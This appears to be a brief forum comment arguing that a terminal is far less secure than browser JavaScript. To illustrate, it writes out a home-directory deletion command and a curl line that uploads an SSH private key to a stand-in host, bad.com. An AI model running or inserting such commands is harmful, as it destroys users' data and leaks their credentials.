Wat? Your terminal is 1000x less secure than your browser. Your terminal can do `rm -rf ~/`. your terminal can run `curl -F 'data=@~/.ssh/id.rsa' https://bad.com` and that just 2 of 1000s.
JS on your browser can do none of those.
Maybe you meant to say you want apps running from the terminal to not phone home but nothing in the terminal prevents that.